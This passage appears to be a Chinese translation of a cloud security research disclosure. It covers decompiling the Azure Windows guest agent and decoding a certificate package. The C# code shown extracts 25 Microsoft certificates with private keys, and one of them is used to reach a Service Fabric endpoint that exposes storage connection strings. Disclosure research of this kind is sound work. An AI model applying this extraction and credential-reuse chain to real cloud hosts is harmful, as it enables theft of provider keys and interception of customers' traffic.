4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Linux</p>代理。这是我们需要继续的突破。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">与<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">WA-Agent</p>不同，<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Windows</p>虚拟机代理（也称为<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Windows Azure Guest Agent.exe</p>）不是开源的。但它是用<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">C#</p>编写的，所以我们可以很容易地将它反编译成类似于源代码的东西。有很多工具可以做到这一点——我们选择了<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ILSpy</p>。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">这是<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">WindowsAzureGuestAgent.exe</p>一部分<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Microsoft.WindowsAzure.RoleContainer.dll</p>的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ILSpy</p>视图 ：</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.5194444444444445" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=c85a7c47&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhejeVbQKlXd8DOMpuMvSbjJ0ovoB76hGOOpfXBre1ZymuZWxhGpWv2w%2F640%3Fwx_fmt%3Dother"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">后面是<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">WindowsAzureGuestAgent.exe</p>一部分<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Microsoft.WindowsAzure.Security.CredentialsManagement.Package.dll</p>的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ILSpy</p>视图：</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.4185185185185185" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=31863b03&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhOcvgLR3I10ctdYVq8NUskLC6oh3KaMfYCibDplVpX57cGtAKkqCYib2w%2F640%3Fwx_fmt%3Dother"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">最后，我们有了难以捉摸的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">CertificatesBondPackage</p>格式及其处理代码。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">使用<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Windows</p>代理的现有功能，我们编写了一个简单的代码段来模拟代理对证书绑定包的解码，获取<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pkcs7</p>文件格式的密钥 。</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #569CD6;line-height: 26px;">using</span> Microsoft.Cis.Fabric.CertificateServices;<span style="color: #569CD6;line-height: 26px;">using</span> Microsoft.WindowsAzure.GuestAgent.CertificateManager;<span style="color: #569CD6;line-height: 26px;">using</span> Microsoft.WindowsAzure.Security.CredentialsManagement.Package;<span style="color: #569CD6;line-height: 26px;">using</span> System;<span style="color: #569CD6;line-height: 26px;">using</span> System.Collections.Generic;<span style="color: #569CD6;line-height: 26px;">using</span> System.IO;<span style="color: #569CD6;line-height: 26px;">using</span> System.Linq;<span style="color: #569CD6;line-height: 26px;">using</span> System.Security.Cryptography.X509Certificates;<span style="color: #569CD6;line-height: 26px;">using</span> System.Text;<span style="color: #569CD6;line-height: 26px;">using</span> System.Threading.Tasks;<span style="color: #569CD6;line-height: 26px;">using</span> Bond.IO;<span style="color: #569CD6;line-height: 26px;">using</span> Bond.IO.Unsafe;<span style="color: #569CD6;line-height: 26px;">using</span> RD.Security.Dsms;<span style="color: #569CD6;line-height: 26px;">using</span> Bond;<span style="color: #569CD6;line-height: 26px;">using</span> Bond.Protocols;<span style="color: #569CD6;line-height: 26px;">namespace</span> <span style="line-height: 26px;">ConsoleApp2</span>{    <span style="color: #569CD6;line-height: 26px;">class</span> <span style="line-height: 26px;">Program</span>    {        <span style="line-height: 26px;"><span style="color: #569CD6;line-height: 26px;">static</span> <span style="color: #569CD6;line-height: 26px;">void</span> <span style="line-height: 26px;">Main</span>(<span style="line-height: 26px;"><span style="color: #569CD6;line-height: 26px;">string</span>[] args</span>)</span>        {            <span style="color: #569CD6;line-height: 26px;">byte</span>[] cert = File.ReadAllBytes(<span style="color: #D69D85;line-height: 26px;">@&#34;cerificate_bond.bin&#34;</span>);            InputBuffer input = <span style="color: #569CD6;line-height: 26px;">new</span> InputBuffer(cert);            ManagedCertificatesPackage managedCertsData = Deserialize&lt;SecretsPackage&gt;.From(<span style="color: #569CD6;line-height: 26px;">new</span> CompactBinaryReader&lt;InputBuffer&gt;(input, <span style="color: #B8D7A3;line-height: 26px;">1</span>)).ManagedCertsPackage;            <span style="color: #569CD6;line-height: 26px;">var</span> managedCertData = managedCertsData.CertsData;            <span style="color: #569CD6;line-height: 26px;">byte</span>[] array = <span style="color: #569CD6;line-height: 26px;">new</span> <span style="color: #569CD6;line-height: 26px;">byte</span>[managedCertData.Count];            Array.Copy(managedCertData.Array, managedCertData.Offset, array, <span style="color: #B8D7A3;line-height: 26px;">0</span>, managedCertData.Count);            <span style="color: #569CD6;line-height: 26px;">byte</span>[] data = array;            File.WriteAllBytes(<span style="color: #D69D85;line-height: 26px;">@&#34;ManagedCertsPackage.bin&#34;</span>, data);            InputBuffer input2 = <span style="color: #569CD6;line-height: 26px;">new</span> InputBuffer(cert);            ArraySegment&lt;<span style="color: #569CD6;line-height: 26px;">byte</span>&gt; unmanagedCertsData = Deserialize&lt;SecretsPackage&gt;.From(<span style="color: #569CD6;line-height: 26px;">new</span> CompactBinaryReader&lt;InputBuffer&gt;(input2, <span style="color: #B8D7A3;line-height: 26px;">1</span>)).UnmanagedCertsData;            <span style="color: #569CD6;line-height: 26px;">var</span> unmanagedCertData = unmanagedCertsData;            <span style="color: #569CD6;line-height: 26px;">byte</span>[] array2 = <span style="color: #569CD6;line-height: 26px;">new</span> <span style="color: #569CD6;line-height: 26px;">byte</span>[unmanagedCertData.Count];            Array.Copy(unmanagedCertData.Array, unmanagedCertData.Offset, array2, <span style="color: #B8D7A3;line-height: 26px;">0</span>, unmanagedCertData.Count);            <span style="color: #569CD6;line-height: 26px;">byte</span>[] data2 = array2;            File.WriteAllBytes(<span style="color: #D69D85;line-height: 26px;">@&#34;UnmanagedCertsData.bin&#34;</span>, data2);        }    }}</p></pre><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">现在，在对<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Certificate Bond Package</p>进行解码和解密后，我们希望得到两个密钥：一个私钥和一个用于加密和解密受保护设置的公钥。</div><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);"><span>实际上，我们取回了 25 把钥匙。</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">是的，25 个 微软 证书及其相应的私钥。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">user@laptop:~/cosmos$ grep subject ManagedCertificates.pemsubject=CN = fabricsecrets.documents.azure.comsubject=CN = secrets-kek.documents.azure.comsubject=CN = computev2.internal.by.cosmos.azure.comsubject=CN = fe.internal-secrets.by.cosmos.azure.comsubject=CN = computev2.internal.by.cosmos.azure.comsubject=CN = fabric.westus1.cosmos.azure.comsubject=CN = computev2tomanagement.internal.cosmos.azure.comsubject=CN = metricsclient.geneva.core.windows.netsubject=CN = fe.internal-secrets.by.cosmos.azure.comsubject=CN = *.notebook.cosmos.azure.comsubject=CN = metricsclient.geneva.core.windows.netsubject=CN = fabric.westus1.cosmos.azure.comsubject=CN = /certificates/selfsigned/agentidcert/crpcustomers/services/vmss/by5prdapp04_f2a6f11f-ad20-4bb3-839f-&lt;REDACTED&gt;_wf/by5prdapp04_f2a6f11f-ad20-4bb3-839f-&lt;REDACTED&gt;-by5prdapp04-f2a6f11f-ad20-4bb3-839f-&lt;REDACTED&gt;--/crpcustomers/services/vmss/by5prdapp04_f2a6f11f-ad20-4bb3-839f-&lt;REDACTED&gt;_wf/by5prdapp04_f2a6f11f-ad20-4bb3-839f-&lt;REDACTED&gt;--by5prdapp04.fc.core.windows.net--f2a6f11f-ad20-4bb3-839f-&lt;REDACTED&gt;--uswest-dsms.dsms.core.windows.netsubject=CN = *.notebook.cosmos.azure.comsubject=CN = computev2tomanagement.internal.cosmos.azure.comsubject=CN = fabric.westus1.cosmos.azure.comsubject=CN = fabricsecrets.documents.azure.comsubject=CN = secrets-kek.documents.azure.comsubject=CN = fabricsecrets.documents.azure.comsubject=CN = computev2tomanagement.internal.cosmos.azure.comsubject=CN = secrets-kek.documents.azure.comsubject=CN = *.notebook.cosmos.azure.comsubject=CN = computev2.internal.by.cosmos.azure.comsubject=CN = fe.internal-secrets.by.cosmos.azure.comsubject=CN = metricsclient.geneva.core.windows.netuser@laptop:~/cosmos$ grep subject UnmanagedCertificates.pemsubject=DC = Windows Azure CRP Certificate Generator</p></pre><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;"><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Certificates Bond Package</p>包含一堆我们可能不应该拥有的证书；我们将仔细研究这三个：</div><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">fabricsecrets.documents.azure.com</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">fabric.westus1.cosmos.azure.com</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">*.notebook.cosmos.azure.com （仅此一项就可以让我们拦截托管在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Windows VM</p>上客户<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Jupyter Notebook</p>的加密<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">SSL</p>流量...）</div></div></li></ol><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">这些证书的合法用途是什么？</p><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);"><span>访问存储帐户和内部服务结构</span></h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">回到<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ExtensionConfig</p>，我们意识到<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ServiceFabricNode</p>扩展在其公共设置中有一些有趣的信息：它包含机器的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Service Fabric</p>集群的集群端点，以及身份验证所需的证书的通用名称：</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #D69D85;line-height: 26px;">&#34;publicSettings&#34;</span>: {<span style="color: #9CDCFE;line-height: 26px;">&#34;clusterEndpoint&#34;</span>:<span style="color: #D69D85;line-height: 26px;">&#34;<a href="https://westus.servicefabric.azure.com/runtime/clusters/83bd67e7-7bb1-4f4f-826f-" target="_blank">https://westus.servicefabric.azure.com/runtime/clusters/83bd67e7-7bb1-4f4f-826f-</a>&lt;REDACTED&gt;&#34;</span>, ...snip... ,<span style="color: #9CDCFE;line-height: 26px;">&#34;certificate&#34;</span>:{<span style="color: #9CDCFE;line-height: 26px;">&#34;commonNames&#34;</span>:[<span style="color: #D69D85;line-height: 26px;">&#34;fabric.westus1.cosmos.azure.com&#34;</span>],<span style="color: #9CDCFE;line-height: 26px;">&#34;x509StoreName&#34;</span>:<span style="color: #D69D85;line-height: 26px;">&#34;My&#34;</span>}}</p></pre><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">当我们从<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Google Chrome</p>访问该<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">clusterEndpoint URL</p>时，系统会提示我们提供身份验证的客户端证书。我们得出结论，我们最好的选择是使用 我们之前从<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">WireServer</p>获得的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">fabric.westus1.cosmos.azure.com</p> 证书，因为它在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ServiceFabricNodeExtension</p> 的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">publicSettings</p>提及到.</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.4567243675099867" data-type="other" data-w="751" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=830ddc48&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhrqFYAE4hvicxf2aicLsPwlgWSfcgmm8Mic8YVlIV08icrQjAibEDOfASL1g%2F640%3Fwx_fmt%3Dother"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">我们得到的是一个巨大的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">XML</p>格式的清单文件，其中包含大量集群信息，包括多个<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure</p>存储帐户的连接字符串，可以使用我们<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ExtensionConfig</p>的解密<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">protectedSettings</p>部分中的存储帐户密钥进行访问：</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Section</span> <span style="color: #9CDCFE;line-height: 26px;">Name</span>=<span style="color: #D69D85;line-height: 26px;">&#34;AzureBlobServiceFabricCrashDump&#34;</span>&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Parameter</span> <span style="color: #9CDCFE;line-height: 26px;">Name</span>=<span style="color: #D69D85;line-height: 26px;">&#34;ConsumerType&#34;</span> <span style="color: #9CDCFE;line-height: 26px;">Value</span>=<span style="color: #D69D85;line-height: 26px;">&#34;AzureBlobFolderUploader&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Parameter</span> <span style="color: #9CDCFE;line-height: 26px;">Name</span>=<span style="color: #D69D85;line-height: 26px;">&#34;ContainerName&#34;</span> <span style="color: #9CDCFE;line-height: 26px;">Value</span>=<span style="color: #D69D85;line-height: 26px;">&#34;fabriccrashdumps-83bd67e7-7bb1-4f4f-826f-&lt;REDACTED&gt;&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Parameter</span> <span style="color: #9CDCFE;line-height: 26px;">Name</span>=<span style="color: #D69D85;line-height: 26px;">&#34;DataDeletionAgeInDays&#34;</span> <span style="color: #9CDCFE;line-height: 26px;">Value</span>=<span style="color: #D69D85;line-height: 26px;">&#34;28&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Parameter</span> <span style="color: #9CDCFE;line-height: 26px;">Name</span>=<span style="color: #D69D85;line-height: 26px;">&#34;IsEnabled&#34;</span> <span style="color: #9CDCFE;line-height: 26px;">Value</span>=<span style="color: #D69D85;line-height: 26px;">&#34;true&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Parameter</span> <span style="color: #9CDCFE;line-height: 26px;">Name</span>=<span style="color: #D69D85;line-height: 26px;">&#34;ProducerInstance&#34;</span> <span style="color: #9CDCFE;line-height: 26px;">Value</span>=<span style="color: #D69D85;line-height: 26px;">&#34;ServiceFabricCrashDump&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Parameter</span> <span style="color: #9CDCFE;line-height: 26px;">Name</span>=<span style="color: #D69D85;line-height: 26px;">&#34;StoreConnectionString&#34;</span> <span style="color: #9CDCFE;line-height: 26px;">Value</span>=<span style="color: #D69D85;line-height: 26px;">&#34;xstore:BlobEndpoint=<a href="https://kssf2q" target="_blank">https://kssf2q</a>&lt;REDACTED&gt;.blob.core.windows.net/;TableEndpoint=<a href="https://kssf2q" target="_blank">https://kssf2q</a>&lt;REDACTED&gt;.table.core.windows.net/;AccountName=kssf2q&lt;REDACTED&gt;;ProtectedAccountKeyName=StorageAccountKey1&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;/<span style="color: #569CD6;line-height: 26px;">Section</span>&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Section</span> <span style="color: #9CDCFE;line-height: 26px;">Name</span>=<span style="color: #D69D85;line-height: 26px;">&#34;AzureBlobServiceFabricEtw&#34;</span>&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Parameter</span> <span style="color: #9CDCFE;line-height: 26px;">Name</span>=<span style="color: #D69D85;line-height: 26px;">&#34;ConsumerType&#34;</span> <span style="color: #9CDCFE;line-height: 26px;">Value</span>=<span style="color: #D69D85;line-height: 26px;">&#34;AzureBlobEtwCsvUploader&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Parameter</span> <span style="color: #9CDCFE;line-height: 26px;">Name</span>=<span style="color: #D69D85;line-height: 26px;">&#34;ContainerName&#34;</span> <span style="color: #9CDCFE;line-height: 26px;">Value</span>=<span style="color: #D69D85;line-height: 26px;">&#34;fabriclogs-83bd67e7-7bb1-4f4f-826f-&lt;REDACTED&gt;&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Parameter</span> <span style="color: #9CDCFE;line-height: 26px;">Name</span>=<span style="color: #D69D85;line-height: 26px;">&#34;DataDeletionAgeInDays&#34;</span> <span style="color: #9CDCFE;line-height: 26px;">Value</span>=<span style="color: #D69D85;line-height: 26px;">&#34;28&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Parameter</span> <span style="color: #9CDCFE;line-height: 26px;">Name</span>=<span style="color: #D69D85;line-height: 26px;">&#34;IsEnabled&#34;</span> <span style="color: #9CDCFE;line-height: 26px;">Value</span>=<span style="color: #D69D85;line-height: 26px;">&#34;true&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Parameter</span> <span style="color: #9CDCFE;line-height: 26px;">Name</span>=<span style="color: #D69D85;line-height: 26px;">&#34;ProducerInstance&#34;</span> <span style="color: #9CDCFE;line-height: 26px;">Value</span>=<span style="color: #D69D85;line-height: 26px;">&#34;ServiceFabricEtlFile&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Parameter</span> <span style="color: #9CDCFE;line-height: 26px;">Name</span>=<span style="color: #D69D85;line-height: 26px;">&#34;StoreConnectionString&#34;</span> <span style="color: #9CDCFE;line-height: 26px;">Value</span>=<span style="color: #D69D85;line-height: 26px;">&#34;xstore:BlobEndpoint=<a href="https://kssf2q" target="_blank">https://kssf2q</a>&lt;REDACTED&gt;.blob.core.windows.net/;TableEndpoint=<a href="https://kssf2q" target="_blank">https://kssf2q</a>&lt;REDACTED&gt;.table.core.windows.net/;AccountName=kssf2q&lt;REDACTED&gt;;ProtectedAccountKeyName=StorageAccountKey1&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;/<span style="color: #569CD6;line-height: 26px;">Section</span>&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Section</span> <span style="color: #9CDCFE;line-height: 26px;">Name</span>=<span style="color: #D69D85;line-height: 